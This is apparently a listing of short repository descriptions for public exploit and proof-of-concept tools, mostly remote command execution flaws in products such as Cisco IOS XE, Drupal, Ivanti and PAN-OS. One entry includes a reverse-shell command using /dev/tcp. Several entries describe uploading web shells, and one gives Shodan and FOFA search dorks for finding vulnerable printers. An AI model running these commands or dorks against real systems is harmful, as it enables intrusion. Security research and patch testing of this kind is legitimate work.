CVE-2023-20198-Exploit

Cisco IOS XE Authentication Bypass CVE-2023-20198 This repository contains a proof-of-concept exploit for CVE-2023-20198 , an authentication bypass vulnerability affecting Cisco IOS XE Web UI. The vulnerability allows unauthenticated attackers to execute arbitrary commands on vulnerable Cisco...

CVE-2025-55182-GUI

CVE-2025-55182 Vulnerability Detection and Exploitation Tool GUI Version Project Overview This project is a graphical detection and exploitation tool targeting the high-risk CVE-2025-55182 vulnerability, developed with Python + tkinter to provide a fully graphical interface. It eliminates the nee...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 Exploit — bixi.py 📖 Description bixi.py is an exploit for the CVE‑2018‑7600 Drupalgeddon 2 vulnerability affecting Drupal 7. It allows remote command execution RCE on vulnerable Drupal servers through an intuitive interface and predefined commands. ⚠️ DISCLAIMER / LEGAL NOTICE THI...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB Remote Command Execution Vulnerability PoC...

SyncShield

🔐 SyncShield — Browser Extension for CVE-2018-5764 Detection Detect unsafe Rsync commands before they become exploits A lightweight, privacy-focused browser extension developed as part of Final Year Project NWS/129/23B to detect missing --protect-args flag in Rsync commands — preventing remote...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 is a critical vulnerability found in Ivanti Connect Secure, allowing Remote Command Execution RCE through a buffer overflow exploit. This vulnerability enables attackers to upload malicious files e.g., web shells and execute commands on the target system...

PIL-CVE-2017-8291

Python PIL/Pillow Remote Command Execution GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities. The Python image processing module PIL Pillow is...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 exploit OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

Ashwesker-CVE-2025-60021

🛑 CVE-2025-60021 — Apache bRPC Remote Command Injection 📌 Overview CVE-2025-60021 is a critical remote command injection vulnerability found in the heap profiler built-in service /pprof/heap of Apache bRPC versions earlier than 1.15.0 , allowing unauthenticated attackers to run arbitrary OS...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL comprehensive exploitation tool, supporting command echo detection, batch command echo, external XML command execution without echo, and other features. Required modules: requests, http.client The tool is only for authorized security testing. Do not use it...

CVE-2024-10914-Exploit

SilverX Exploit Tool 📌 Description SilverX Exploit Tool is a penetration testing script designed to detect and exploit vulnerabilities in web applications. It provides a shell-like interface for executing commands remotely on vulnerable systems. ⚠️ Disclaimer This tool is for educational and...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Disclaimer This script is for educational and authorized testing purposes ONLY. Unauthorized use of this tool against systems without explicit permission is ILLEGAL. The author is not responsible for any misuse of this information. Marimo versions prior to 0.23.0 have a critica...

CVE-2009-4623

Advanced Comment System 1.0 - Remote Command Execution RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2024-3400

CVE-2024-3400 Vulnerability Description The CVE-2024-3400 vulnerability is a security vulnerability that affects PAN-OS firewalls in versions 10.2, 11.0, and 11.1. This vulnerability is exploited when GlobalProtect gateway and device telemetry configurations are enabled. An attacker can leverage...

OFBiz-Attack

OFBiz-Attack A Tool For CVE-2023-49070/CVE-2023-51467 Attack Test Environment vulhub/ofbiz:18.12.09 Usage Start java -jar OFBiz-Attack.jar There are three modules: Vulnerability Detection Just enter the target URL. Do not add extra routes, otherwise it will affect subsequent module exploitation...

0day-POC-for-CVE-2024-27173

Poc CVE-2024-27173 Join t.me/SpiderzTM Shodan and FOFA Dorks Use the following dorks to find potentially vulnerable systems: Shodan Dorks: product:"Toshiba e-Studio" "Remote Command" http.title:"Toshiba e-Studio" port:8080 FOFA Dorks: app="Toshiba-e-Studio" title="Toshiba e-Studio" port="8080"...

Axis1.4-CVE-2019-0227

Axis1.4 CVE-2019-0227 Remote Command Execution Exploit Tool 📖 Vulnerability Description Apache Axis1.4 contains a remote command execution vulnerability CVE-2019-0227. When the enableRemoteAdmin property is set to true, an attacker can deploy a malicious service through the AdminService interface...

CVE-2026-5426

CVE-2026-5426 ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Example usage: Test a single target for vulnerability python...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS unauthenticated RCE via PHP Object Instantiation Usage Vulnerability Detection. python CVE-2022-24990.py -u http://127.0.0.1:8080 Upload a PHP webshell. python CVE-2022-24990.py -a http://127.0.0.1:8080 Reference...